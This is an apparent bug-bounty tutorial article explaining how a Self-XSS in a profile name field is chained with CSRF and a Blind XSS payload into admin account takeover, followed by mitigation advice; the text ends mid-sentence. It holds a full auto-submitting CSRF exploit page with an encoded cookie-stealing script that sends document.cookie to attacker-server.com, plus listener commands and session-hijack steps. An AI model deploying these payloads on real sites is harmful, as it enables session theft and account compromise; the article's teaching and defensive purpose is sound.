Chaining Self-XSS to Account Takeover: How a Blind Payload and CSRF Escalated a Simple Bug to Critical + Video

By /

Listen to this Post

Featured Image

Introduction:

In the world of bug bounty hunting, a “Self-XSS” is often dismissed as a low-impact finding because it requires the user to input malicious code into their own browser, affecting only themselves. However, a skilled penetration tester knows that a vulnerability is rarely an island. By viewing a Self-XSS through the lens of chaining, it can become the critical link in a devastating attack chain. This article explores how a seemingly innocuous Self-XSS vulnerability in a `name` parameter was chained with a Cross-Site Request Forgery (CSRF) and a Blind XSS payload to achieve a one-click Account Takeover (ATO). We will dissect the methodology, the underlying technical concepts, and provide step-by-step guides on how such an attack is executed and, more importantly, how to defend against it.

Learning Objectives:

  • Understand the mechanics of Self-XSS, CSRF, and Blind XSS and how they can be chained.
  • Learn how to identify and exploit CSRF vulnerabilities in state-changing parameters.
  • Master the technique of using a Blind XSS payload to escalate a client-side vulnerability into a full account takeover.

You Should Know:

1. Understanding the Initial Vector: Self-XSS and CSRF

The journey begins with a simple observation: a `name` parameter on a user profile page is vulnerable to Self-XSS. This means if you type `` into the name field, the script executes, but only for you. The security risk is considered low because an attacker cannot force this script onto another user. However, the tester didn’t stop there. They investigated how the `name` parameter was being updated. They discovered that the request to update the name did not contain a unique, secret token to verify the user’s intent. This is a classic Cross-Site Request Forgery (CSRF) vulnerability.

What is CSRF?

CSRF forces an authenticated user to execute unwanted actions on a web application. If a user is logged into their account and visits a malicious site, that site can submit a hidden form or request to the vulnerable application. Because the user’s browser automatically includes their session cookies, the application believes the request is legitimate.

Step‑by‑step guide: Identifying a CSRF Vulnerability

To check for CSRF, a tester would use a proxy like Burp Suite:
1. Intercept the Request: Update the `name` field on the target site and capture the POST/GET request in Burp Suite.
2. Look for Anti-CSRF Tokens: Examine the request parameters and headers. Look for a unique token (often named csrf_token, authenticity_token, or a long random string) that appears to be tied to the user’s session.

3. Test the Token (if present):

  • Remove the Token: Replay the request in Burp Repeater after deleting the token parameter entirely. If the request is accepted, the token validation is flawed.
  • Use an Invalid Token: Replace the token with an arbitrary value (e.g., attacker). If the request is accepted, the token is not being properly validated.
  1. Confirm No Token: In our scenario, no such token existed. The request looked something like this: 
    POST /profile/update HTTP/1.1
Host: vulnerable-website.com
Cookie: session=abc123
...</li>
</ol>

name=AttackerName

    The absence of any unpredictable parameter confirms the presence of a CSRF vulnerability.

    2. Chaining the Vulnerabilities: The Blind XSS Payload

    Finding CSRF alongside Self-XSS changes the game. An attacker can now create a malicious HTML page that, when visited by a logged-in victim, sends a forged request to update the victim’s `name` to an XSS payload. The first step is crafting the payload. Because the impact is no longer “self,” the attacker needs a payload that will have an effect on the victim. This is where Blind XSS comes in.

    A Blind XSS payload doesn’t just pop an alert box on the current page. It is designed to fire in a different context—often an administrative panel or a backend log viewer—where the attacker cannot directly see the result. The payload typically sends the stolen information (like cookies, session tokens, or page content) to an attacker-controlled server.

    Step‑by‑step guide: Crafting a CSRF + Blind XSS Exploit Page
    The attacker creates an HTML file (exploit.html) hosted on their server.

    <html>
<body>

<h1>Check out this cool cat video!</h1>

<form id="csrfForm" action="https://vulnerable-website.com/profile/update" method="POST">
<input type="hidden" name="name" value='&x3c;&x73;&x63;&x72;&x69;&x70;&x74;&x3e;&x66;&x65;&x74;&x63;&x68;&x28;&x27;&x68;&x74;&x74;&x70;&x73;&x3a;&x2f;&x2f;&x61;&x74;&x74;&x61;&x63;&x6b;&x65;&x72;&x2d;&x73;&x65;&x72;&x76;&x65;&x72;&x2e;&x63;&x6f;&x6d;&x2f;&x3f;&x63;&x3d;&x27;&x2b;&x64;&x6f;&x63;&x75;&x6d;&x65;&x6e;&x74;&x2e;&x63;&x6f;&x6f;&x6b;&x69;&x65;&x29;&x3b;&x3c;&x2f;&x73;&x63;&x72;&x69;&x70;&x74;&x3e;' />
</form>

<script>
document.getElementById("csrfForm").submit();
</script>

</body>
</html>

    Explanation:

    • The `name` parameter’s value is a URL-encoded Blind XSS payload.
    • The decoded JavaScript payload is: 
      <script>fetch('https://attacker-server.com/?c='+document.cookie);</script>
    • When the victim visits the page, the form auto-submits via JavaScript, changing their name to the malicious script.
    • The next time an admin views the victim’s profile in an admin panel, the script executes. It makes a request to the attacker’s server, sending the admin’s session cookie (document.cookie). The attacker can then use this cookie to hijack the admin’s session, leading to a full Account Takeover.
    1. From Session Hijack to Full Account Takeover (ATO)
      Receiving the admin’s cookie on the attacker’s server is the moment of escalation. This is no longer a user-level issue; it’s a compromise of a privileged account. With the admin’s session, the attacker can now perform any action the admin can, such as resetting user passwords, changing email addresses, or directly accessing any user’s account.

    Step‑by‑step guide: Using the Stolen Session (Linux/macOS)

    1. Set up a listener: The attacker would have a simple HTTP server listening for incoming requests. 
      Using netcat (nc) to listen for incoming requests
nc -lvnp 80

    Or using a more robust Python HTTP server:

     Create a file (e.g., log_requests.py) to log the cookie
python3 -m http.server 80
 A more advanced script would parse the GET request and log the cookie parameter.

    2. Analyze the incoming request: When the Blind XSS fires, the attacker’s listener receives a request like:

    GET /?c=session=admin_session_value_123 HTTP/1.1

    3. Hijack the session: The attacker copies the admin_session_value_123.
    4. Impersonate the Admin: Using a tool like Burp Suite or a browser extension (e.g., EditThisCookie), the attacker replaces their own session cookie with the stolen admin cookie. They can now browse the application as the admin.
    5. Execute Account Takeover: As the admin, the attacker navigates to the user management section and performs the final ATO on any target user, for example, by resetting the target user’s password.

    4. Mitigation Strategies: Breaking the Chain

    This attack chain is successful due to multiple missing security layers. Here’s how to break each link:

    A. Mitigating Self-XSS and XSS in General

    • Input Validation and Output Encoding: The most critical defense. All user input should be validated on the server-side (e.g., allow only specific characters for a `name` field). Crucially, all output must be contextually encoded. When displaying the `name` in HTML, encode it so that `